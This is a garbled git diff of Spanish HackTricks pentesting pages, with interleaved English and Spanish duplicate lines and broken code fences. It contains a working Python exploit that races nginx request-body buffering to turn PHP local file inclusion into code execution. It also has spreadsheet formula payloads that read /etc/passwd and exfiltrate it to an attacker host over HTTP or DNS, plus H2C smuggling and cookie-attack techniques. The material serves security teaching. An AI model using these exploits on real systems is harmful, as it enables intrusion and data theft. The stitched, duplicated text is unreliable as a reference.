/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (eliminado) ... \`\`\` Nota: No se puede incluir directamente \`/proc/34/fd/15\` en este ejemplo ya que la función \`include\` de PHP resolvería la ruta a \`/var/lib/nginx/body/0000001368 (eliminado)\` que no existe en el sistema de archivos. Esta pequeña restricción puede ser afortunadamente eludida por alguna indirecta como: \`/proc/self/fd/34/../../../34/fd/15\` que finalmente ejecutará el contenido del archivo eliminado \`/var/lib/nginx/body/0000001368\`. ## Exploit Completo \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # explotar inclusión de archivo local PHP (LFI) a través de la asistencia de almacenamiento en búfer del cuerpo del cliente de nginx # ver https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ para más detalles URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # encontrar procesos de trabajo de nginx r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] trabajador de nginx encontrado: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # subir un gran cuerpo de cliente para forzar a nginx a crear un /var/lib/nginx/body/$X def uploader(): print('\[+] comenzando uploader') while not done: requests.get(URL, data=' //'
|
||||
```
|
||||
```markdown
|
||||
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
||||
except:
|
||||
pass
|
||||
```
|
||||
```python
|
||||
```
|
||||
|
||||
def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
|
||||
|
||||
def send\_payload\_multiprocess(requests\_session): # Usa todos los CPUs para enviar la carga útil como cuerpo de la solicitud para Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
|
||||
def send\_payload\_multiprocess(requests\_session): # Use all CPUs to send the payload as request body for Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
|
||||
|
||||
def generate\_random\_path\_prefix(nginx\_pids): # Este método crea una ruta a partir de una cantidad aleatoria de componentes de ruta de ProcFS. Una ruta generada se verá como /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
|
||||
def generate\_random\_path\_prefix(nginx\_pids): # This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
|
||||
|
||||
def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Las banderas están formateadas como hxp{} if "hxp" in d: print("¡Bandera encontrada! ") print(d)
|
||||
def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Flags are formatted as hxp{} if "hxp" in d: print("Found flag! ") print(d)
|
||||
|
||||
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Escanea los FDs de Nginx entre 10 - 45 en un bucle. Dado que los archivos y sockets siguen cerrándose, es muy común que el FD del cuerpo de la solicitud se abra dentro de este rango for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
|
||||
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
|
||||
|
||||
def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()
|
||||
|
||||
if **name** == "**main**": print('\[DEBUG] Creando sesión de solicitudes') requests\_session = create\_requests\_session() print('\[DEBUG] Obteniendo pids de Nginx') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Pids de Nginx: {nginx\_pids}') print('\[DEBUG] Iniciando el envío de carga útil') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Iniciando lectores de fd') read\_file\_multiprocess(requests\_session, nginx\_pids)
|
||||
```
|
||||
```
|
||||
if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\_session = create\_requests\_session() print('\[DEBUG] Getting Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Starting payload sending') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Starting fd readers') read\_file\_multiprocess(requests\_session, nginx\_pids)
|
||||
|
||||
```
|
||||
## Labs
|
||||
|
||||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
|
||||
|
@ -70,31 +57,18 @@ if **name** == "**main**": print('\[DEBUG] Creando sesión de solicitudes') requ
|
|||
|
||||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
|
||||
|
||||
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
|
||||
|
||||
You can check their website and try their engine for **free** at:
|
||||
|
||||
<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```
|
||||
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Formula Injection
|
||||
|
||||
### Info
|
||||
|
@ -30,7 +22,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
Si tu **entrada** está siendo **reflejada** dentro de **archivos CSV** (o cualquier otro archivo que probablemente se abrirá con **Excel**), tal vez puedas poner **fórmulas** de Excel que serán **ejecutadas** cuando el usuario **abra el archivo** o cuando el usuario **haga clic en algún enlace** dentro de la hoja de Excel.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Hoy en día **Excel alertará** (varias veces) al **usuario cuando algo se carga desde fuera de Excel** para evitar que realice acciones maliciosas. Por lo tanto, se debe aplicar un esfuerzo especial en Ingeniería Social para el payload final.
|
||||
Hoy en día **Excel alertará** (varias veces) al **usuario cuando algo se carga desde fuera de Excel** para prevenir acciones maliciosas. Por lo tanto, se debe aplicar un esfuerzo especial en Ingeniería Social para el payload final.
|
||||
{% endhint %}
|
||||
|
||||
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
|
||||
|
@ -67,7 +59,7 @@ Imagina que una brecha de seguridad en un sistema de Gestión de Registros de Es
|
|||
|
||||
**Consulta el** [**post original**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **para más detalles.**
|
||||
|
||||
En configuraciones específicas o versiones más antiguas de Excel, se puede explotar una función llamada Intercambio Dinámico de Datos (DDE) para ejecutar comandos arbitrarios. Para aprovechar esto, se deben habilitar las siguientes configuraciones:
|
||||
En configuraciones específicas o versiones más antiguas de Excel, se puede explotar una característica llamada Intercambio Dinámico de Datos (DDE) para ejecutar comandos arbitrarios. Para aprovechar esto, se deben habilitar las siguientes configuraciones:
|
||||
|
||||
* Navega a Archivo → Opciones → Centro de Confianza → Configuración del Centro de Confianza → Contenido Externo, y habilita **Lanzamiento del Servidor de Intercambio Dinámico de Datos**.
|
||||
|
||||
|
@ -81,12 +73,12 @@ También se pueden ejecutar comandos adicionales, como descargar y ejecutar un a
|
|||
```
|
||||
### Inclusión de Archivos Locales (LFI) en LibreOffice Calc
|
||||
|
||||
LibreOffice Calc se puede usar para leer archivos locales y exfiltrar datos. Aquí hay algunos métodos:
|
||||
LibreOffice Calc se puede utilizar para leer archivos locales y exfiltrar datos. Aquí hay algunos métodos:
|
||||
|
||||
* Leer la primera línea del archivo local `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
|
||||
* Exfiltrar los datos leídos a un servidor controlado por el atacante: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||
* Exfiltrar más de una línea: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
* Exfiltración DNS (enviar datos leídos como consultas DNS a un servidor DNS controlado por el atacante): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
|
||||
* Exfiltración DNS (enviando datos leídos como consultas DNS a un servidor DNS controlado por el atacante): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
|
||||
|
||||
### Google Sheets para Exfiltración de Datos Fuera de Banda (OOB)
|
||||
|
||||
|
@ -189,7 +181,7 @@ De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
|||
```
|
||||
## Inyección de Ghostscript
|
||||
|
||||
**Verifique** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
|
||||
**Ver** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
|
||||
|
||||
## Referencias
|
||||
|
||||
|
@ -198,11 +190,6 @@ De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
|||
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
||||
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
||||
|
||||
**Grupo de Seguridad Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -212,7 +199,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Verifica los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### H2C Smuggling <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
#### HTTP2 Over Cleartext (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
@ -64,7 +56,7 @@ Es crucial notar que no todos los servidores reenvían inherentemente los encabe
|
|||
Independientemente de la **ruta** específica designada en la URL `proxy_pass` (por ejemplo, `http://backend:9999/socket.io`), la conexión establecida se predetermina a `http://backend:9999`. Esto permite la interacción con cualquier ruta dentro de ese punto final interno, aprovechando esta técnica. En consecuencia, la especificación de una ruta en la URL `proxy_pass` no restringe el acceso.
|
||||
{% endhint %}
|
||||
|
||||
Las herramientas [**h2csmuggler by BishopFox**](https://github.com/BishopFox/h2csmuggler) y [**h2csmuggler by assetnote**](https://github.com/assetnote/h2csmuggler) facilitan intentos de **eludir las protecciones impuestas por el proxy** al establecer una conexión H2C, permitiendo así el acceso a recursos protegidos por el proxy.
|
||||
Las herramientas [**h2csmuggler by BishopFox**](https://github.com/BishopFox/h2csmuggler) y [**h2csmuggler by assetnote**](https://github.com/assetnote/h2csmuggler) facilitan los intentos de **eludir las protecciones impuestas por el proxy** al establecer una conexión H2C, permitiendo así el acceso a recursos protegidos por el proxy.
|
||||
|
||||
Para obtener información adicional sobre esta vulnerabilidad, particularmente en relación con NGINX, consulte [**este recurso detallado**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection).
|
||||
|
||||
|
@ -99,7 +91,7 @@ En última instancia, NGINX es engañado para creer que existe una conexión Web
|
|||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
|
||||
|
||||
La mayoría de los proxies inversos son vulnerables a este escenario, pero la explotación depende de la presencia de una vulnerabilidad SSRF externa, generalmente considerada un problema de baja gravedad.
|
||||
La mayoría de los proxies inversos son vulnerables a este escenario, pero la explotación depende de la presencia de una vulnerabilidad SSRF externa, generalmente considerada como un problema de baja gravedad.
|
||||
|
||||
#### Laboratorios
|
||||
|
||||
|
@ -112,12 +104,6 @@ Verifique los laboratorios para probar ambos escenarios en [https://github.com/0
|
|||
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,13 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Atributos de Cookies
|
||||
|
||||
|
@ -33,7 +26,7 @@ La fecha de caducidad de una cookie se determina por el atributo `Expires`. Por
|
|||
|
||||
### Dominio
|
||||
|
||||
Los hosts que recibirán una cookie se especifican mediante el atributo `Domain`. Por defecto, esto se establece en el host que emitió la cookie, sin incluir sus subdominios. Sin embargo, cuando el atributo `Domain` se establece explícitamente, abarca también los subdominios. Esto hace que la especificación del atributo `Domain` sea una opción menos restrictiva, útil para escenarios donde es necesario compartir cookies entre subdominios. Por ejemplo, establecer `Domain=mozilla.org` hace que las cookies sean accesibles en sus subdominios como `developer.mozilla.org`.
|
||||
Los hosts que recibirán una cookie se especifican mediante el atributo `Domain`. Por defecto, esto se establece en el host que emitió la cookie, sin incluir sus subdominios. Sin embargo, cuando el atributo `Domain` se establece explícitamente, abarca también los subdominios. Esto hace que la especificación del atributo `Domain` sea una opción menos restrictiva, útil para escenarios donde compartir cookies entre subdominios es necesario. Por ejemplo, establecer `Domain=mozilla.org` hace que las cookies sean accesibles en sus subdominios como `developer.mozilla.org`.
|
||||
|
||||
### Ruta
|
||||
|
||||
|
@ -66,10 +59,10 @@ Recuerda, al configurar cookies, entender estos atributos puede ayudar a garanti
|
|||
| Imagen | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
Tabla de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) y ligeramente modificada.\
|
||||
Una cookie con el atributo _**SameSite**_ mitigará **ataques CSRF** donde se necesita una sesión iniciada.
|
||||
Una cookie con el atributo _**SameSite**_ **mitigará ataques CSRF** donde se necesita una sesión iniciada.
|
||||
|
||||
**\*Ten en cuenta que desde Chrome80 (feb/2019) el comportamiento predeterminado de una cookie sin un atributo de cookie SameSite será lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Ten en cuenta que temporalmente, después de aplicar este cambio, las **cookies sin una política SameSite** en Chrome serán **tratadas como None** durante los **primeros 2 minutos y luego como Lax para solicitudes POST de nivel superior entre sitios.**
|
||||
**\*Ten en cuenta que desde Chrome80 (feb/2019) el comportamiento predeterminado de una cookie sin un atributo SameSite** **será lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Ten en cuenta que temporalmente, después de aplicar este cambio, las **cookies sin una política SameSite** **en Chrome serán** **tratadas como None** durante los **primeros 2 minutos y luego como Lax para solicitudes POST de nivel superior entre sitios.**
|
||||
|
||||
## Banderas de Cookies
|
||||
|
||||
|
@ -79,7 +72,7 @@ Esto evita que el **cliente** acceda a la cookie (a través de **Javascript**, p
|
|||
|
||||
#### **Evasiones**
|
||||
|
||||
* Si la página está **enviando las cookies como respuesta** a una solicitud (por ejemplo, en una página **PHPinfo**), es posible abusar de la XSS para enviar una solicitud a esta página y **robar las cookies** de la respuesta (ver un ejemplo en [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
* Si la página está **enviando las cookies como respuesta** a una solicitud (por ejemplo, en una página **PHPinfo**), es posible abusar de la XSS para enviar una solicitud a esta página y **robar las cookies** de la respuesta (ver un ejemplo en [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
* Esto podría ser evadido con solicitudes **TRACE** **HTTP** ya que la respuesta del servidor (si este método HTTP está disponible) reflejará las cookies enviadas. Esta técnica se llama **Cross-Site Tracking**.
|
||||
* Esta técnica es evitada por **navegadores modernos al no permitir el envío de una solicitud TRACE** desde JS. Sin embargo, se han encontrado algunas evasiones en software específico como enviar `\r\nTRACE` en lugar de `TRACE` a IE6.0 SP2.
|
||||
* Otra forma es la explotación de vulnerabilidades de día cero en los navegadores.
|
||||
|
@ -89,7 +82,7 @@ Esto evita que el **cliente** acceda a la cookie (a través de **Javascript**, p
|
|||
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* Es posible usar un ataque de [**Cookie Smuggling**](./#cookie-smuggling) para exfiltrar estas cookies.
|
||||
* Es posible usar un ataque de [**Cookie Smuggling**](./#cookie-smuggling) para exfiltrar estas cookies
|
||||
|
||||
### Seguro
|
||||
|
||||
|
@ -103,14 +96,14 @@ Para las cookies con el prefijo `__Host-`, se deben cumplir varias condiciones:
|
|||
|
||||
* Deben establecerse con la bandera `secure`.
|
||||
* Deben originarse de una página asegurada por HTTPS.
|
||||
* Se les prohíbe especificar un dominio, impidiendo su transmisión a subdominios.
|
||||
* Se les prohíbe especificar un dominio, lo que impide su transmisión a subdominios.
|
||||
* La ruta para estas cookies debe establecerse en `/`.
|
||||
|
||||
Es importante tener en cuenta que las cookies con el prefijo `__Host-` no pueden enviarse a superdominios o subdominios. Esta restricción ayuda a aislar las cookies de la aplicación. Por lo tanto, emplear el prefijo `__Host-` para todas las cookies de la aplicación puede considerarse una buena práctica para mejorar la seguridad y el aislamiento.
|
||||
|
||||
### Sobrescribiendo cookies
|
||||
|
||||
Así que, una de las protecciones de las cookies con prefijo `__Host-` es evitar que sean sobrescritas desde subdominios. Previniendo, por ejemplo, [**ataques de Cookie Tossing**](cookie-tossing.md). En la charla [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) se presenta que era posible establecer cookies con prefijo \_\_HOST- desde un subdominio, engañando al analizador, por ejemplo, añadiendo "=" al principio o al final...:
|
||||
Así, una de las protecciones de las cookies con prefijo `__Host-` es evitar que sean sobrescritas desde subdominios. Previniendo, por ejemplo, [**ataques de Cookie Tossing**](cookie-tossing.md). En la charla [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) se presenta que era posible establecer cookies con prefijo \_\_HOST- desde un subdominio, engañando al analizador, por ejemplo, añadiendo "=" al principio o al final...:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -158,7 +151,7 @@ Los JSON Web Tokens (JWT) utilizados en cookies también pueden presentar vulner
|
|||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
Este ataque obliga a un usuario autenticado a ejecutar acciones no deseadas en una aplicación web en la que está actualmente autenticado. Los atacantes pueden explotar cookies que se envían automáticamente con cada solicitud al sitio vulnerable.
|
||||
Este ataque obliga a un usuario autenticado a ejecutar acciones no deseadas en una aplicación web en la que actualmente está autenticado. Los atacantes pueden explotar cookies que se envían automáticamente con cada solicitud al sitio vulnerable.
|
||||
|
||||
### Cookies Vacías
|
||||
|
||||
|
@ -194,7 +187,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
```
|
||||
#### Vulnerabilidades de Inyección de Cookies
|
||||
|
||||
(Revisa más detalles en la [investigación original](https://blog.ankursundara.com/cookie-bugs/)) El análisis incorrecto de cookies por parte de los servidores, notablemente Undertow, Zope y aquellos que utilizan `http.cookie.SimpleCookie` y `http.cookie.BaseCookie` de Python, crea oportunidades para ataques de inyección de cookies. Estos servidores no delimitan correctamente el inicio de nuevas cookies, permitiendo a los atacantes suplantar cookies:
|
||||
(Revisa más detalles en la [investigación original](https://blog.ankursundara.com/cookie-bugs/)) El análisis incorrecto de cookies por parte de los servidores, notablemente Undertow, Zope y aquellos que utilizan `http.cookie.SimpleCookie` y `http.cookie.BaseCookie` de Python, crea oportunidades para ataques de inyección de cookies. Estos servidores no delimitan adecuadamente el inicio de nuevas cookies, permitiendo a los atacantes suplantar cookies:
|
||||
|
||||
* Undertow espera una nueva cookie inmediatamente después de un valor entre comillas sin un punto y coma.
|
||||
* Zope busca una coma para comenzar a analizar la siguiente cookie.
|
||||
|
@ -211,16 +204,16 @@ Esta vulnerabilidad es particularmente peligrosa en aplicaciones web que depende
|
|||
* Intenta iniciar sesión con 2 dispositivos (o navegadores) en la misma cuenta usando la misma cookie.
|
||||
* Verifica si la cookie tiene alguna información y trata de modificarla.
|
||||
* Intenta crear varias cuentas con nombres de usuario casi idénticos y verifica si puedes ver similitudes.
|
||||
* Revisa la opción "**recordarme**" si existe para ver cómo funciona. Si existe y podría ser vulnerable, siempre usa la cookie de **recordarme** sin ninguna otra cookie.
|
||||
* Revisa la opción de "**recordarme**" si existe para ver cómo funciona. Si existe y podría ser vulnerable, siempre usa la cookie de **recordarme** sin ninguna otra cookie.
|
||||
* Verifica si la cookie anterior funciona incluso después de cambiar la contraseña.
|
||||
|
||||
#### **Ataques avanzados a cookies**
|
||||
|
||||
Si la cookie permanece igual (o casi) cuando inicias sesión, esto probablemente significa que la cookie está relacionada con algún campo de tu cuenta (probablemente el nombre de usuario). Entonces puedes:
|
||||
|
||||
* Intenta crear muchas **cuentas** con nombres de usuario muy **similares** y trata de **adivinar** cómo está funcionando el algoritmo.
|
||||
* Intenta **fuerza bruta el nombre de usuario**. Si la cookie se guarda solo como un método de autenticación para tu nombre de usuario, entonces puedes crear una cuenta con el nombre de usuario "**Bmin**" y **fuerza bruta** cada **bit** de tu cookie porque una de las cookies que intentarás será la que pertenece a "**admin**".
|
||||
* Intenta **Padding** **Oracle** (puedes descifrar el contenido de la cookie). Usa **padbuster**.
|
||||
* Intentar crear muchas **cuentas** con nombres de usuario muy **similares** y tratar de **adivinar** cómo está funcionando el algoritmo.
|
||||
